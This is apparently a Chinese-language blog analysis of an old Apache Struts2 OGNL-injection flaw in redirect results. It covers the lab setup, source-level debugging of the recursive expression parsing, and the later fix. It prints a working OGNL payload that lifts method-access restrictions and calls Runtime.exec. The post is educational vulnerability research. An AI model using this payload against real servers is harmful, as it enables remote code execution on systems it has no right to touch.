前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-011 是个 DOS,跳过跳过。
环境搭建
2.3.4.1 版本的 struts2 + Tomcat 9,在 struts.xml 中加入一个带参数的跳转:
1
| <result name="success" type="redirect">login!update.action?skillName=${url}</result>
|
也可以这样:
1 2 3 4
| <result name="success" type="redirectAction"> <param name="actionName">login!update.action</param> <param name="url">${url}</param> </result>
|
然后尝试提交 url 值为 %{9*9},如果看到重定向至 login!update.action?url=81,说明漏洞利用成功。
漏洞利用
阅读漏洞通告,推测漏洞原理与 S2-001 类似,都是递归解析导致的,payload 如下:
1
| url=%25{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(@java.lang.Runtime@getRuntime().exec("calc"))}
|
漏洞分析
寻找搜索跟 redirect 相关的类,找到 ServletRedirectResult 类,可以看到它的 doExecute 方法看起来比较可疑:
1 2 3 4 5 6 7 8 9 10 11 12 13
| ResultConfig resultConfig = invocation.getProxy().getConfig().getResults().get(invocation.getResultCode()); if (resultConfig != null) { Map<String, String> resultConfigParams = resultConfig.getParams();
for (Map.Entry<String, String> e : resultConfigParams.entrySet()) { if (!getProhibitedResultParams().contains(e.getKey())) { String potentialValue = e.getValue() == null ? "" : conditionalParse(e.getValue(), invocation); if (!suppressEmptyParameters || ((potentialValue != null) && (potentialValue.length() > 0))) { requestParameters.put(e.getKey(), potentialValue); } } } }
|
给他的 doExecute 方法下断点,开始调试,可以看到将 ${url} 作为参数调用了 conditionalParse,然后一步步来到 TextParseUtil 类的 translateVariables 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| for (char open : openChars) { ...
while (true) { ... if (loopCount > maxLoopCount) { break; } ...
if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); }
String left = expression.substring(0, start); String right = expression.substring(end + 1); String middle = null; if (o != null) { middle = o.toString(); if (StringUtils.isEmpty(left)) { result = o; } else { result = left.concat(middle); }
if (StringUtils.isNotEmpty(right)) { result = result.toString().concat(right); }
expression = left.concat(middle).concat(right); } ... } ... } }
|
可以看到当时 S2-001 的修复,就是加上了递归深度限制,本来应该是无法再递归解析了,但是前面多了一个 for 循环,用来遍历两个表达式起始字符,$ 和 %,所以在第一次 ${url} 执行完毕后,如果 url 的值是一个 % 开始的表达式,会再次解析执行。
漏洞修复
2.3.14.3 版本的修复,逻辑移到了 OgnlTextParser 类的 evaluate 函数中,函数内容基本相同,只是 for 遍历的开头少了一句:
而 pos 的计算方式为:
1 2 3
| pos = (left != null && left.length() > 0 ? left.length() - 1: 0) + (middle != null && middle.length() > 0 ? middle.length() - 1: 0) + 1;
|
middle 就是 url 的值,所以递归的情况下,pos 会是 url 的长度,也就是说:
1 2 3 4 5
| int start = expression.indexOf(lookupChars, pos); if (start == -1) { loopCount++; start = expression.indexOf(lookupChars); }
|
indexof 搜索就会失败,loopCount + 1 导致递归深度验证失败。
Orz